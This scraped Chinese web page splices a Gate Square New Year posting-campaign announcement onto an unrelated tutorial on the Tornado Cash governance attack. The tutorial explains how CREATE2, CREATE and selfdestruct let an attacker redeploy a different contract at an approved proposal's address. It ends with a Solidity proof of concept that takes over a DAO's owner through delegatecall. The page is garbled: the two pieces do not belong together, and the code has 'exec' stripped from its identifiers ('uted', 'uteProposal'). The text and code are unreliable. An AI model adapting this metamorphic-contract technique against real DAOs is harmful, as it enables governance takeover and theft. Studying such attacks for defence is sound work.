亲爱的广场用户们,新年即将开启,我们希望您也能在 Gate 广场上留下专属印记,把 2026 的第一句话,留在 Gate 广场!发布您的 #我的2026第一帖,记录对 2026 的第一句期待、愿望或计划,与全球 Web3 用户共同迎接全新的旅程,创造专属于你的年度开篇篇章,解锁广场价值 $10,000 新年专属福利!
活动时间:2025/12/31 18:00 — 2026/01/15 23:59(UTC+8)
🎁 活动奖励:多发多奖,曝光拉满!
1️⃣ 2026 幸运大奖:从全部有效帖子中随机抽取 1 位,奖励包含:
2026U 仓位体验券
Gate 新年限定礼盒
全年广场首页推荐位曝光
2️⃣ 人气新年帖 TOP 1–10:根据发帖量及互动表现综合排名,奖励包含:
Gate 新年限定礼盒
广场精选帖 5 篇推荐曝光
3️⃣ 新手首帖加成奖励:活动前未在广场发帖的用户,活动期间首次发帖即可获得:
50U 仓位体验券
进入「新年新声」推荐榜单,额外曝光加持
4️⃣ 基础参与奖励:所有符合规则的用户中随机抽取 20 位,赠送新年 F1 红牛周边礼包
参与方式:
1️⃣ 带话题 #我的2026第一条帖 发帖,内容字数需要不少于 30 字
2️⃣ 内容方向不限,可以是以下内容:
写给 2026 的第一句话
新年目标与计划
Web3 领域探索及成长愿景
注意事项
• 禁止抄袭、洗稿及违规
Tornado治理攻击:如何同一个地址上部署不同的合约
大概两周前(5 月 20 日),知名混币协议 Tornado Cash 遭受到治理攻击,黑客获取到了Tornado Cash的治理合约的控制权(Owner)。
攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案, 待提案通过之后, 销毁了提案要执行的合约地址, 并在该地址上重新创建了一个攻击合约。
攻击过程可以查看 SharkTeam 的 Tornado.Cash提案攻击原理分析[1]。
这里攻击的关键是在同一个地址上部署了不同的合约, 这是如何实现的呢?
背景知识
EVM 中有两个操作码用来创建合约:CREATE 与 CREATE2 。
CREATE 操作码
当使用 new Token() 使用的是 CREATE 操作码 , 创建的合约地址计算函数为:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))
创建的合约地址是通过创建者地址 + 创建者Nonce(创建合约的数量)来确定的, 由于 Nonce 总是逐步递增的, 当 Nonce 增加时,创建的合约地址总是是不同的。
CREATE2 操作码
当添加一个salt时 new Token{salt: bytes32()}() ,则使用的是 CREATE2 操作码 , 创建的合约地址计算函数为:
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码, 因此 只有相同字节码 和 使用相同的盐值,才可以部署到同一个合约地址上。
那么如何才能在同一地址如何部署不用的合约?
攻击手段
攻击者结合使用 Create2 和 Create 来创建合约, 如图:
先用 Create2 部署一个合约 Deployer , 在 Deployer 使用 Create 创建目标合约 Proposal(用于提案使用)。Deployer 和 Proposal 合约中均有自毁实现(selfdestruct)。
在提案通过后,攻击者把 Deployer 和 Proposal 合约销毁,然后重新用相同的slat创建 Deployer , Deployer 字节码不变,slat 也相同,因此会得到一个和之前相同的 Deployer 合约地址, 但此时 Deployer 合约的状态被清空了, nonce 从 0 开始,因此可以使用该 nonce 创建另一个合约Attack。
攻击代码示例
此代码来自:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract DAO {
struct Proposal {
address target;
bool approved;
bool uted;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, “not authorized”);
proposals.push(Proposal({target: target, approved: true, uted: false}));
}
function ute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, “not approved”);
require(!proposal.uted, “uted”);
proposal.uted = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature(“uteProposal()”)
);
require(ok, “delegatecall failed”);
}
}
contract Proposal {
event Log(string message);
function uteProposal() external {
emit Log(“Excuted code approved by DAO”);
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function uteProposal() external {
emit Log(“Excuted code not approved by DAO :)”);
// For example - set DAO’s owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}
大家可以使用该代码自己在 Remix 中演练一下。